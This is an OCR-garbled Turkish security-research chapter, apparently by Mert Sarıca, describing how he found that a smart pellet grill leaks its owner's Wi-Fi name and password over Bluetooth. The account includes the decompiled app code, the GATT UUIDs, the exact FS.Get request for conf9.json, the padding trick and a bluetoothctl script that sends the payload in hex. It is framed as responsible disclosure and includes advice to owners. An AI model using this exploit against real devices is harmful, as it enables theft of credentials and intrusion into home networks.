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tespit edebilmek icin Wardriving yontemine bagvururlar. Evin
ontinden 2 defa gectikten sonra sinyal seviyesi en yiiksek olan
Hack4Career aginin ona ait oldugunu tespit ederler.

Stiphe cekmemek icin eve en yakin sokagin bagina arabalarini
park eden APT 28 grubu, WPA3 protokolii ile korunan
kablosuz agin, 6zel karakter de igeren 15 hane uzunlugundaki
alfanumerik parolasini tespit etmek icin bilgisayarin basina

gecerler.

Uzun ugraslar sonucunda sifreyi kiramayacaklar1 konusuna
kanaat getiren grup, evin etrafinda kesfe (reconnaissance)
cikmaya karar verirler.

Ginimiiz dinyasinda mutfak gereclerinden, otomobillere,
termostatlardan, akilli ev sistemlerine kadar bircok alanda

karsilasilan Nesnelerin Internetinin (IoT), barindirdiklar:

zafiyetler nedeniyle kolayca istismar edilebilmesi sebebiyle

akilli cihaz aramaya koyulurlar.

Istatistiklere gére 2023 yili itibariyle gezegenimizde
8 milyar insan yasarken, IoTlerin sayisinin ise insan
sayisinin  iki katina yani 16 milyara ulastig:
goriilmektedir.

Kisa bir kesif gezisinden sonra terasta yer alan ve fise takili
olan Wi-Fi, Bluetooth destekli akilli pelet 1zgarasi dikkatlerini
ceker. Marka ve modelinin fotografin1 uzaktan cektikten sonra
bir tane satin alip, zafiyet arastirmasi yapmaya basglarlar. 8
saatin sonunda sadece fige takili olmasi yeterli olan bu 1zgaraya
Bluetooth iizerinden gonderdikleri bir paket/komut sayesinde
dahil oldugu kablosuz agin adini ve parolasini uzaktan kolayca
elde etmeyi basarirlar.


https://en.wikipedia.org/wiki/Wardriving
https://www.wi-fi.org/discover-wi-fi/security
https://www.nato.int/cps/en/natohq/topics_111830.htm#:~:text=Both%20surveillance%20and%20reconnaissance%20include,analysed%2C%20turning%20information%20into%20intelligence.
https://en.wikipedia.org/wiki/Internet_of_things
https://iot-analytics.com/number-connected-iot-devices/
https://talassan.com/pelet-yakitli-izgaralar-ve-pelet-mangallar-artik-avrupada-ve-amerikada-moda-oldu/
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Bu bilgi 1s18inda vakit kaybetmeden arabalarina binip Mert
SARICA’nin evine dogru yola ¢ikarlar. Araglarini sokagin
basindaki ayni yere park ettikten sonra 300 metre mesafeden
bilgisayarlarmin USB baglanti noktasina taktiklar1 Parani-
UD100 aygit ile Bluetooth tizerinden akilli i1zgaraya paket/
komut gonderirler. Akilli 1zgaradan gelen yanit ile
Hack4Career kablosuz ag adini, 15 haneli parolay1 elde
ettikten sonra basariyla kablosuz aga baglanirlar ve
operasyonlarinin birinci adimini bagariyla tamamlamais olurlar.

Yukarida anlattigim bu kurgu hikaye bircogunuza iki nedenden
dolayi titopik gelebilir.

Birincisi, Rus hackerlarin ellerini kollarini sallayarak bir
iilkeye giris yapip daha sonrasinda kablosuz bir aga sizmaya
calismalarina ancak bir film senaryolarinda rastlanabilecegini
disiinebilirsiniz. Bu gekilde diigiinenlerin 2018 yilina ait su
habere g6z atmalarini tavsiye ederim. Eminim ki haberde yer
alan bazi fotograflar sizlere bir yerden tanidik gelecektir. (£
Ikinci neden ise akilli bir 1zgaray1 hackleyerek ev agina
sizmanin pratikte bu kadar kolay olamayacagini ve bunun da
ancak Mr. Robot dizisinin bir bolimiinde gerceklesebilecegini
distinebilirsiniz. Bu sekilde diisiinenlerinizi de bu defa
basroldeki kiginin ve tiim anlatilanlarin gercek oldugu
asagidaki hikaye ile bagbasa birakiyorum. (£

Barbekii sezonunun yaklagmasiyla 2023 yilinin Nisan ayinda
evimin terasinda kullanmak iizere bir mangal arayisina girdim.
Komiirle her defasinda kim ugrasacak, gazli mangal gibi pratik
bir sey mi alsam derken WiFi ve Bluetooth destekli akilli bir
pelet yakitli 1zgara satin almaya karar verdim.


http://www.senanetworks.com/ud100-g03.html
http://www.senanetworks.com/ud100-g03.html
https://www.bbc.com/news/world-europe-45747472
https://www.imdb.com/title/tt4158110/
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Izgara elime ulastiktan sonra her ne kadar yillardir “Akill cihaz

demek, casus cihaz demektir” desem de akilli cihazlar
kullanmay1 tercih etmekten geri kalmayan biri olarak
(Doktorun dedigini yap, yaptifim1 yapma derler.) 1zgaranin
kullanim kilavuzunda yer alan mobil uygulamay1 indirip,
kurdum. Hemen ardindan da c¢uvaldizi kendime batirarak

kendimi elestiren bir tweeet paylasmayi ihmal etmedim. (=

Honeypot isimli bir kisi tarafindan gonderilen tweet aslinda
yapacagim giivenlik aragtirmasina bir nevi davetiye c¢ikardi.


https://twitter.com/MertSARICA/status/1640896418876407809
https://twitter.com/malicousroot
https://twitter.com/malicousroot/status/1640979457056862209
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Honeypot

mangal zeroday research loading...

186

Uygulamayi actiktan sonra yonlendirmeleri takip ederek once
Bluetooth tizerinden 1zgaray: ekledim ardindan da kablosuz
agimin parolasini girerek 1zgaray1 ev agima dahil ettim.
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PRODUCT SETUP

STEP 1:
Open your settings and ensure Bluetooth is enabled

on this device

STEP 2:
Select your product when it appears below

580

790 @

1000

If you don't see your product, move closer to the
product and make sure the product is turned on.

CONTINUE




CONNECTING

rrrrr
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WIFISET UP SKIP

Select your WiFi network and enter your network
password. Your grill will automatically switch between
Bluetooth and WiFi for the best connection.

SELECT YOUR WI-FI NETWORKS
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WIFI SET UP

Enter the password for: =~ ...

CONTINUE
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Esimle birlikte 1zgarada ilk yemegimizi pisirip, afiyetle
yedikten sonra tabii ki satin aldigim cihazlar, aygitlar
givenlik aragtirmalarima (Kos Mert Kos vb.) konu eden biri

olarak bu akilli 1zgaray1 da bos gecmemeye karar verdim. (£

[k i olarak ApkPure sitesinden 1zgaranin mobil uygulamasini
indirip jadx araci ile kaynak kodunu incelemeye bagladim.
Derleme asamasinda herhangi bir gizleme yontemi
(obfuscation) kullanilmadig1 i¢in kaynak kodlarmi rahatlikla

inceleyebildim.

< awable €, BuildConfig €, BuildConfig

7+ loaded from: classes3.dex */

0 | public final class BleCommandMaker {
public static final String BT_ICON = "225 225 000 011 000 080 007";
public static final Companion Companion = new Companion(null);

public static final String PAUSE = "225 225 000 009 000 048 051 000";
public static final String POWER_OFF = "225 225 000 009 000 043 002 000"
public static final String PONER_OFFN "0

public static final int QUERY_AF_MODE
public static final int QUERY_AF_ONOFF
public static final int QUERY_AF_TEMP
public static final int QUERY_AF_TIME
public static final String SET_MODE = "225 225 600 009 000 048 007";
public static final String SET_TEMP MODE TO_CELIUS = "225 (2251000051068 012104 001";
public static final String SET_TEMP_MODE_TO_CELTUSI
public static final String SET_TEMP_MODE_TO_FAHRENHET
public static final String SET_TEMP_MODE_TO_FAHRENHEIT
public static final String START = "225 225 000 009 000 048 051 001";
public static final String TURN_IT_OFF = "254 036 000 255";

public static final String TURN_IT ON = "254 036 001 255";

public static final String WARMOFF = "225 225 000 009 000 048 020 000";
public static final String WARMON = "225 225 000 009 000 048 020 001";
private final JSONObject command;

private final JSONObject params = new JSONObject();

private final String TAG = "BleCommandMaker" ]

225 000 009 000 048 003 000" ;

public final String ConvertFCm (boolean z) {
return z 7 SET_TEMP_MODE_TO_FAHRENHETTH  : SET_TEMP_MODE_To_CELTUSHEN.;

public final String eraseApplsWithComment() {

return "{\"id\":1099,\"method\":\"FS.Put\", {\"filename\":\"app.js\",\"append\": false, \"data\":\" AT

public final String getGrillstatus() {
return "{\"id\":1932,\"method\" :\"SendGenericCommand\",\"params\": {\"command\":\"254 011 001 255\"}}";

public final String getIPAddress() {
return "{\"id\":888,\"method\":\"GetCurrentIP\",\"params\":{}}";

public final String getState() {

Code  Smali  Simple Fallback Split view


https://www.mertsarica.com/kos-mert-kos/
https://github.com/skylot/jadx
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< awable e e iceVi ) icevi 9 v
435 public final String getFileContent(String fileName, int i) {
Intrinsics. checkNotNul lParameter (fileName, "fileNane");
436 return " {\"id\":999, \"method\":\"FS.Get\",\"params\": {\"filename\":\"" + fileName + "\", \"offset\": 0, \"len\":" + i+ "}} ";
439 public final String setUpWiFiWithSecurity(String ssid, String wifiPassword) {
trinsics. checkNotNullParameter (ssid, "ssid
Intrinsics. checkNotNullParaneter (wifiPassword, “wifiPassword");
440 return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params\": {  \"config\" \"hidden_files\"
464 public final String sendSSID(String ssid) {
Intrinsics. checkNotNul lParaneter (ssid, "ssid")
465 return "{\"id\":1205,\"method\":\"Config.Set\",\"params\":{\"config\": {\"wifi\":{\"sta\": {\"ssid\": \"" + ssid + "\"}}}}}";
468 public final String sendPass(String pass) {
Intrinsics.checkNotNullParameter (pass, “pass
469 return "{\"id\":1204,\"nethod\":\"Config.Set\",\"params\":{\"config\": {\"wifi\":{\"sta\": {\"pass\": \"" + pass + "\"}}}}hn";
477 publu final String setAWSFrequency(int i) {
478 this comand. putt"m", Blecomanaqaken(t I0_SET_pS_FREQUENCY)
479 ETHOD, “SendGenericCommand");
480 ﬂu.s parans. put command" 254 en o1 255"),
481 this.params.put ("frequency", i);
482 this. conmand. put (NativeProtocol.WEB_DIALOG_PARAMS, this.params);
483 String jSONObject = this.command.toString();
Intrins Expressionvalue( , "command. toString()");
return jSONObjec
} cakh (JSDNEx:eptmn unused) {
}
496 puhuc final String setProbeTemperature(int i, int i2) {
y {
497 thi d.put (Fir METHOD, "SetTemperature");
498 this.params. put(TYDedValues Attrlbutes STARGET, Intrinsics.stringPlus(“probe”, Integer.valuedf(i)));
499 this. params.put ("amoun
500 this. conmand. putwamepmmml WEB_DTALOG_PARAMS, this.params);
Code Smali  Simple Fallback [ Split view

4

Kodlar arasinda biraz gezindikten sonra getFileContent()

fonksiyonuna parametre olarak gonderilen init.js dikkatimi

cekti. getFileContent() fonksiyonunu inceledigimde Fs.Get

metodu ile 1zgaranin igletim sisteminde yer alan init.js

dosyasini okudugunu gordiim.

if (Intrinsics.areEqual(descriptor.getCharacteristic().getUuid(), BluetoothLeService.UUID_CHARACTERISTIC_RPC)) {
Crashlytics crashlytics2 = Crashlytics. INSTANCE;
str3 = BluetoothLeService. TAG;
crashlytics2.d(str3, "onDescriptorWirite: RPC response enabled.");
if (Pr per. read( per.CONNECTDEVICEN; , false) .booleanValue() || =y {
return;

-addIntoQueue(new BleCommandMaker().getFileContent("init.js", 20), BaseBleServiceActivity.QUERY_COMMAND);
return;

}
Crashlytics crashlytics3 = Crashlytics.INSTANCE;
str2 = BluetoothLeService.TAG;
crashlytics3.d(str2, "STATUS notification registered.
= BluetoothLeService. this.blindActivity;
if ( = mull) {
return;

.onBleConnected();

b
h

private final IBinder mBinder = new LocalBinder(this); Is there a way to replace
public final int getComnectionState() { init.js with something

return this.connectionState;

valuable from the attacker’s

public boolean getBluetoothConnectDeviceisNXG1() { perspective?

return this.bluetoothConnectDeviceisNXG1;

public final String getFifleContent(String fjleName, int i) {

Intrinsics. checkNotNullParameter (fileName
return " {\"id XY

\"offset\": @, \"len\":" + i + "}} ";

¥

public final String setUpWiFiWithSecurity(Strin
Intrinsics. checkNotNullParameter(ssid, "ssi
Intrinsics. checkNotNullParameter (wifiPassword, "wifiPasswor®
return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params \"config\": { \"http\": \"hidden_files\":

ng wifiPassword) {

Ao\

}

public final String sendSSID(String ssid) {
Intrinsics. checkNotNullParameter (ssid, "ssid");
return "{\"id\":1205,\"method\":\"Config.Set\",\"params\": {\"config\"

k& Might FS.Get method be a clue of the
public final Str;gg sendPass (String pass) { target operating system ?

Intrinsic: KNotNul LParaneter (pass, “pas
return "{\" 204, \"nethod\"

d\'

“Config.Set\
}

oublic final Strino setAWSFreauencv(int i) {
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Tabii bunu goriince kafamda gimsekler ¢akti ve aklimda tek
bir soru belirdi: “init.js yerine baska bir dosya ismini Bluetooth
iizerinden 1zgaraya iletirsem, gelen yanitta o dosyanin icerigini
gorebilir miydim?”

Bu sorunun yamitim1 bulmak i¢in Kos Mert Kos baslikli blog
yazimda oldugu gibi mobil uygulama ile 1zgara arasindaki
Bluetooth haberlesmeyi incelemek icin Samsung’un destek
sayfasinda Bluetooth paketleri kaynakli problem yasayan bir
kisinin mesajma yazilan yanittaki adimlari adim adim
gerceklestirdim.

btsnoop_hci.log dosyasini Wireshark ile analiz etmeye
basladigimda iletisimin bir noktasinda mobil uygulamanin,
1Zgaranin 5f6d4f53-5f52-5043-5f74-785f63746¢c5f
(CHARACTERISTIC_BROIL_KING_WRITE_DATA_LEN
GTH) Bluetooth servisinin karakteristigine ait olan 0x33
taniticisina (handle) 00000055 degerini yazdigini (WRITE
REQUEST) gérdim.

Sonraki adimda ise bu defa
5f6d4f53-5f52-5043-5f64-6174615f5f5f
(CHARACTERISTIC_BROIL_KING_WRITE_COMMAND
) servisinin karakteristigine ait olan 0x2e taniticisina (handle),
{“id”:999,”method”:”FS.Get”,’params”:{“filename”:”init.js
”?offset”: 0, “len”:20}} komutunun parca parca gonderildigini
(WRITE REQUEST) gérdiim.


https://www.mertsarica.com/kos-mert-kos/
https://forum.developer.samsung.com/t/bluetooth-crash-and-data-corruption-galaxy-s20-fe-and-other-sd-865-based-devices/10746
https://tr.wikipedia.org/wiki/Bluetooth_Low_Energy#Servisler_ve_Karakteristikler
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btsnoop_heilog

Nartow (UTF-8 ASCH) [epm—— Find || Cancel
|sauree Protocc|Length _[Info
31846382 AT 16 Sent Handle Value Indication, Handle: 0x0003 (Un
31887194 Sent Exchange NTU Request, Client Rx NTU: 500
32339135 Revd Handle Value Confirnation, Handle: 0x0003 (
7:32.339751

| Response, Handle: 0
mm S s, e o

Response, Hand
N Request, Handle: 0x00
Il EN Response, Handle: @x002e (Unknown)
AT Request, Handle
Response, Handle:

7:33.421552 Sent Write Request, Handle: 0x002e (Unknow)
ane 687: 16 bytes on wire (128 bits), 16 bytes captured (128 bits) 0800 02 43 00 0b 00 07 00 04 00 12 33 00 00 00 00 55 C SR
setooth
uetooth KL 1
uetooth HCI ACL Packet

Handle: 0x0033 (Unknown)
Value: 00000055

Sent the length of the
command. (85 characters)

® B Voo (tatake), 4 bytes Packets: 1029 - Displayod: 159 (16.5%)

bisnoop_hei.log

Qam

Destination Protocc| Length
32340757
32428583
32.420422

32.518386 ||

31522000
L | I L

u 4 Sent e Reswst, Handics ox:

Frane 695: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 9900 02 43 00 1b 00 17 00 04 00 12 2¢ 00 20 7b 22 69

4 .
Bluetooth 0010 6422 3239 39 39 2c 22 6d 65 74 68 6f 64 22 32 4":999," method":
Bluetooth HCI W

Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

Write Request (0x12)

0x002¢ (Unknown)
207622696422323939392c22646574686164223a

Sent the 1st part of the
command in 20 bytes.

® B Value (artvaiue), 20 byes Packets: 1029 - Displayed: 159 (16.5%) prfie: Dottt

a i mERNRE QecEFIEE Q
e | N N E 2w
o LR u u e
7:32.608808 1 Lm 10 Revd Write Response, Handle: 0xo
32.614125 | ATT 32 Sent Write Request, Handle:
2 L _ 3= BE
oo il W EEE H EN 10 fews

- - EE 15 R

Sent the 2nd part of the
command in 20 bytes.

® B Valuo (tatvalue), 20 bytes Packats: 1020 - Displayed: 169 (16.5%) Prof: Defaut
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a d E = Qaam
A isoothader
Tims so Destnation roacelLongin o
667 20330329 20:57:32. T Read By Type Request, Server Supported Feat
oo 2023-03-29 20:57132. Errar Response < Attribute Mot Found, Handl
Go1 20730339 20157132, Reauest,
686 2023-03-29 20: . .
a7 2023-03-29 20
653 2023-03-39 20
605 20230329 20:7.32. I Al
T4 2025-03-29 20:57:%2. i
730 2023-03-29 20:
731 20230329 20 u T
735 2033-03-29 20

™ e e, - NN R

795 2023-03-29 20.57:34. ] Sent Read Reaueat, Handie:
797 20230329 20:57:34. Revd Read Response, Handies 0
798 2023-83-29 20 St e Regest, el

0000 02 43 00 1b 00 17 00 04 00 12 2¢ 00 BE 69 6E 65 C file
0010 6e 61 6 65 22 3a 22 69 6e 69 74 2e 6a 73 22 2¢  name":"i nit.js",

Sent the 3rd part of the
command in 20 bytes.

® B Vaive Battvalue), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) prfi: Dotault

0 btsnoop_heilog

a IO mMERNRE J3¢>2EF LA E
1 [bhetooth.addr a bit2cap.oid = 0x0004
Packat by Netow VTS ASGH) & Cosesansive st s s
Destination protocclLongth  [Ifo
AT 14 ent e Reest, Hondle: 0x001 (Unknow)
UL m e

Revd
16

ar
n H

2

10
2
10
2
10

|
n %
| |

10
7
| | s
10
2
105 Revd Read Response, Handle:

Frane 756: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 9000 02 43 00 1b 00 17 00 04 00 1 20226166 C
&= G0%0 66 73 65 74 22 3a 20 3 20 7o 35 6c & a6 35 oa  feetn:
Bluetooth HCI He
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol

Opcode: Write Request (8x12)

02e (Unknown)
Value: 20226f6666736574223220302¢20226c656223a

Sent the 4th part of the
command in 20 bytes.

® B Valuo (artvaiue), 20 bytes Packets: 1029 - Displayod: 159 (15.5%)

B E QQq

e cancel

Destination Protocc|Length  [Info
32.420422 ATT 14 Sent Write Request, Handle: @x0031 (Unknown)
32.518386 Revd Write Response, Handl
32522430 Sent Write Request, Handle
32.608808 Revd Write Response, Handle:
32.614125 Sent Write Request, Handle:
32878727 write
32.884968 write
33.058503 write
33064478 u write
33418322 write
33421552 Write Request, Handle
33.688494 Write Response, Hi
33691795 Write Request, Handle: 0x002e (Unknown)
33.868371 Handle Value Notification, Handle: 0x0030 (
33.868077 A Write Response, Handle: 0x02e (Unknown)
34176298 Read Request, Handle: 0x002e (Unknown)
34319599 Read Response, Handle: 0x002e (Unknown)

Frane 776: 17 bytes on wire (136 bits), 17 bytes captured (136 bits) 0000 02 43 00 0c 00 08 00 04 00 12 2¢ 00 32307474 C 200}

Bluetooth 0010 20

Bluetooth HCI He

Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

: Write Request (9x12)
0x002¢ (Unknown)

Value: 3230747420 Sent the last part of the
command in 5 bytes.

® B Vaiue (tatvaie),  bytes Packets: 1029 - Displayed: 159 (16.5%) profi: Default

Izgaradan gelen yamitta (READ RESPONSE) yer alan
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{“id”:999,”src” " XX X-XXXXXXX” result”:{“data”:

“Ly9CS1B2MDQyLjQ1ICAgICAGICA=", “left”: 35298}
Base64 ile kodlanmis veriyi ¢ozdiigiimde ise //BKPv042.45
karakter dizisi ile karsilagtim.

Destination Protocc| Length

| ko)

0x00:
| e Notification, Handle: 0x0030

L
|
= EEmm (Unknon)
H =
|
|

Ha
10 Revd Write Response, Handle
32 Sent Write Reques:

0 bits), 105 bytes captured (840 bits)

g
+ 35:

+{data" : "Lyacs

182MDQyL jQLICAGT

CAgICA=" , "left"
298) }

prfie: Dottt

acha.github.o P

£9 Other Books

Last build: 10 days ago - Version 10 is here! Re

Operations Recipe B F nput Ll =Rl
S Ly9CS182MD0yL§Q11CAGICAQICA
earch From Basetd y 0yL§Q1ICAGICAGICAS
Favourites * ioha .
A-Za-20-9+/=
To Bases4
Remove non-slphebet chars [ Strict mode

wn F1om e tytes € U
Output aDm:o

/78KPv042..45

Data format
- 1 O Tamopes «

Google arama motorunda mobil uygulamanin kaynak kodunda
dikkatimi ¢eken bazi kelimeleri arattigimda 1zgaranin
Mongoose OS isimli bir igletim sistemine sahip oldugunu

ogrendim.


https://tr.wikipedia.org/wiki/Base64
https://mongoose-os.com/mos.html
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Go g|e "sys.reboot" "init.js" config.set "config.save" fs.rename X $ @ Q

Q Al [JImages [3] Videos (@ News [ Books i More Tools

About 2 results (0.39 seconds)

It looks like there aren't many great matches for your
search

Try using words that might appear on the page you're looking for. For example, "cake
recipes” instead of "how to make a cake."

Need help? Check out other tips for searching on Google.

" Gitter
https:/gitter.im > cesanta » mongoose-os ~ §

cesanta/mongoose-0s

Rename’, "FS.Remove", "FS.Put’, "FS.Get", "FS.ListExt", "FS.List", "Config.Save", "Config.Set’,

"Config.Get", "Sys.SetDebug", "Sys.GetInfo", "Sys.Reboot’,

Run-time init

« conf@.json - configuration defaults. This is a copy of the generated sys_config_defaults.json .ltis
loaded first and must exist on the file system. All other layers are optional.

« confl.json - conf8.json -these layers are loaded one after another, each successive layer can override
the previous one (provided conf_acl of the previous layer allows it). These layers can be used for vendor
configuration overrides.

. conf9.json is the user configuration file. Applied last, on top of all other layers. mos config-set and

save_cfg() API function modify conf9.json .

conf,json conf1.json confg json

Daha 6nce bu isletim sistemini gérmedigim, duymadigim icin
web sitesinde yer alan kullanici kilavuzuna goz atmaya karar
verdim. Yapilandirma sayfasini ziyaret ettigimde conf ile

baglayan json uzantili dosyalar arasinda yer alan conf9.json

dosyasi hemen dikkatimi cekti.

Kullanic1 ayarlarini iceren bu dosyada dikkate deger bilgiler
olabilecegini diisiindiigim icin init.js yerine conf9.json
dosyasini bluetoothctl araci ile Bluetooth baglantisi tizerinden
okumami saglayacak 88 karakter uzunlugundaki asagidaki
istegi olusturup Bash betigi tizerinden 1zgaraya génderdigimde
Invalid Offset ile hatasi ile ile karsilagtim.

{“id”:999,’method”:”FS.Get”,”’params”:{“filename”:”conf9.
json”offset”: 0, “len”:20}}


https://mongoose-os.com/docs/mongoose-os/userguide/configuration.md
https://opensource.com/resources/what-bash
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~/Desktop
J ":999, "metho

0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d 0x65 0x74 Ox
68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22 0x2c 0x22 0x70
0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6C 0x65 0x6e 0x61 0
x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a 0x73 0x6f 0x6e 0x2
2 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20 0x30 0x20 0x2c 0x20
0x22 0x6C 0x65 0x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20

P *[root/Desktop/send.sh - Mousepad

File Edit Search View Document Help
EBERBEDERE x © o aaxn

Warning: you are using the root account. You may harm your system.
2 |
2 bluetoothctl
3 devices
4 agent on
5 connect e
6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746¢5f
7 gatt.write "0x00 0x00 0x00 0x55"
8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f
9 gatt.write "0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d
0x65 0x74 0x68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22
0x2c 0x22 0x70 0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6¢
0x65 0x6e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a
0x73 0x6f 0x6e 0x22 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20
0x30 0x20 0x2c 0x20 0x22 0x6C 0x65 0x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20"
10 gatt.read
11 gatt.read

root@Kali: ~/Desktop
File Edit View Go Capture Analyze Statistics Telephony Wirele

ADE® s MB@ o ¢ >n<«>WEooom

Source Protocol  Length Info
remote () ATT 10 Revd Write Response, Handle: 0x8033 (Unknown)
localhost () ATT 101 Sent Write Request, Handle: ©x002e (Unknown)
controller HCI_EVT 8 Rcvd Number of Completed Packets
remote () ATT 14 Revd Error Response - Invalid Offset, Handle: 0X
localhost () ATT 12 Sent Read Request, Handle: 6x002e (Unknown)
controller HCI_EVT 8 Revd Number of Completed Packets
remote () ATT 10 Revd Read Response, Handle: 0x002e (Unknown)
localhost () ATT 16 Sent Write Request, Handle: 0x0033 (Unknown)
controller HCI_EVT 8 Revd Number of Completed Packets
remote () ATT 10 Revd Write Response, Handle: 0x8033 (Unknown)
localhost () ATT 97 Sent Write Request, Handle: 0x002e (Unknown)
controller HCI_EVT 8 Revd Number of Completed Packets
remote () ATT 10 Revd Write Response, Handle: 0x@02e (Unknown)
localhost () ATT 12 Sent Read Request, Handle: 0x002e (Unknown)
» Frame 144: 14 bytes on wire (112 bits) 02 4a 20 09 00 65 00 04 00 061 12 2e 00 07 3
» Bluetooth
» Bluetooth HCI H4
. 0000 0100 1010 = Connection Hal
el 5356 0a0. bo PB Flag: Firs
(LRB B5AA Auth oo BC Flag: Poin
Data Total Length: 9
Data
[Expert Info (Error/Protocol): Frame
[Frame is out of any "connection
[Severity level: Error]
[Group: Protocol]
[Source BD_ADDR: 00:00:00_00:00:00
[Source Device Name: ]

® E Bluetooth: Protocol Packets: 709 - Displayed: 709 (100.0%) - Dropped: 0 (0.0%)

Biraz arastirma yaptiktan sonra “invalid offset” hatasinin
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boyuttan kaynakli tetiklendigini 6grendim. Daha sonra 85
karakter uzunlugundaki init.js istegi ile yukaridaki 88 karakter
uzunlugundaki conf9.json istegini boyut olarak esitlemeye
karar verdim. 3 tane bosluk karakterini (space) sildikten sonra
istek asagidaki sekle biiriinmiis ve 85 karakter uzunlugunda

olmus oldu.

{“id”:999,”method”:”FS.Get”,”params”:{“filename”:”conf9.

json”offset”:0,”len”:20}}

Bu istegi 1zgaraya gonderdikten sonra conf9.json dosyasinin
ilk 20 karakterini basariyla okuyabildigimi gérdiim.

@ W o » O 6 (upda

aaaaaaaaaa

STEP

Opsiyonel parametre olan Offset degerini yavas yavas
arttirarak dosyay1 okumaya devam ettigimde ise asagidaki istek
sonucunda 1zgaranin kurulumu asamasinda uygulamaya girmis
oldugum kablosuz ag adimi ve parolami elde edebildigimi

gordiim!

“id”:999,”method”:”FS.Get”,’params”:{“filename”:”conf9.
P
json”offset”:280,”len”:99}}
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sless Tools Help

Executedthe 0 -«
the bash script.

Received the
response
encoded in
base64.

Prepared the
command in hex for

©  bluetoothctl to send. u

| |
" Bn H @ EEs
66 7422 3 20 37 30 70 7 fers 70) 3

1
222737263
Frame 24 bytes)  Reassembled BTHCIACL (201

Download CyberChet &

Operations Recipe

Search From Base64 -
Alphabet ', tleft': 701}
A-Za-20-9+/=

Remove non-alphabet chars [ Strict mode

Censored SSID &
WiFi password

Output

~BYOEDSSOGQ6 -~ +b2émuezIE2FA"
b

Magic

Data format

Sonug itibariyle yaptigim giivenlik arastirmasi sonucunda
ortaya ¢ikan bu kritik zafiyeti istismar ederek, art niyetli bir
kisinin bu marka ve model bir 1zgaraya 30 ila 300 metre mesafe
uzakliktan istek géndererek dahil oldugu kablosuz ag adini ve
parolasini kolaylikla 6grenebilecegini ortaya koymus oldum.
Isin sasirtict kismi ise bu zafiyetin istismar edebilebilmesi icin
1zgaranin acik konumda (POWER ON) olmadan sadece fige
takili olmasi yeterli oluyordu.

Bu zafiyetin ka¢ haneyi etkiledigini bilemesem de istatistiklere
gore Amerika’da 2021 yili bag: itibariyle 100 milyon hanenin
1zgara kullandigini, her ii¢c haneden birinin de birden fazla

1zgara kullandigini dikkate aldigimizda, bu tiir akilli 1zgaralarin


https://www.traeger.com/learn/grill-bbq-stats

192 mertsarica

(IoT) yayginlasmas: ile ciddi giivenlik risklerini beraberinde

getirecegini sdyleyebilirim.

Kesfettigim bu ciddi zafiyet sonrasinda akilli 1zgaram ile
yollarimizi ayirmak yerine kendisini diger IoTler ile birlikte
Wi-Fi  Misafir Agimna tasiyarak istahimi  kagirmasini

engelledikten sonra lezzetli yemeklerin keyfini c¢ikarmaya

devam etmeye karar verdim. (2

Her ihtimale karsi iretici bu zafiyeti ortadan
kaldirana dek mimkiinse akilli 1zgaramizi
kullanmadiginiz zamanlarda fige takill

birakmamanizi tavsiye ederim.



https://www.kaspersky.com.tr/blog/guest-wifi/5294/
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Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.

Not: Izgara iireticisine 1 Nisan tarihinde zafiyetle ilgili e-posta

goénderdigimi ancak bu zamana kadar yanit alamadigimi da

uztilerek paylagsmak isterim.

&

Responsible Vulnerability Disclosure for = = Pellet Grill © =3

Mert SARICA <mert sarica@gmail.com> @ sat Apri, 129AM 3daysago) ¥y €
to support ~

Dear Sir or Madam,

My name is Mert, and | am a seasoned who conducts research and publishes them on my blog for the benefit and awareness of the
public.

According to various research, IoT (intemet of things) devices, such as coffee machines, thermostats, smart speakers, smart bulbs, alarm systems, etc., might have
i liot-d due to their limited software and hardware capabilities.

Recently | purchased an Il Il Pellet Grill from Home Depot two weeks ago. (By the way, | love cooking with my grill; it is fantastic!) | noticed that my grill as an loT
has Wi-Fi and Bluetooth features and can be controlled via a mobile app US8gI=US). After | went through to
installation procedure, | enrolled my grillinto my Wi-Fi network.
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7. e-Devlet
Hesaplarimizi Nasil

Hackliyorlar?

If you are looking for an English version of this article,
please visit here.

[powerkit_toc title="ICINDEKILER” depth="2" min_count="4"
min_characters="1000"]

Baslangic

25 Ekim 2023 giinii saat 11:46’da e-Devlet uygulamasindan ve
e-posta adresime gelen uyarilardan e-Devlet Kapisi hesabima
ist Uste birden fazla defa yanlis parola ile giris yapilmaya
calisildig: icin hesabimin bir saatligine gecici olarak kullanima

kapatildigini 6grendim.

194


https://www.mertsarica.com/e-government-hackers/
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Ust tiste basarisiz giris denemesi yaptiginiz
icin sifreniz gecici olarak kullanima
kapatiimistir.
25/10/2023 19:46:22 tarihi itibariyle sifreniz

otomatik olarak yeniden kullanima agilacaktir.

e-Devlet Sifresi

Sifremi Unuttum

Giris Yap

9 @

Mobil Onay Karekod Okut YARDIM

HIZLI ERISIM

Hava Durumu  Nobetci Eczane  Acil Toplanma
Sorgulama Alanlari

e TURKIYE CUMHURIYETI CUMHURBASKANLIGI
. !_.-:E

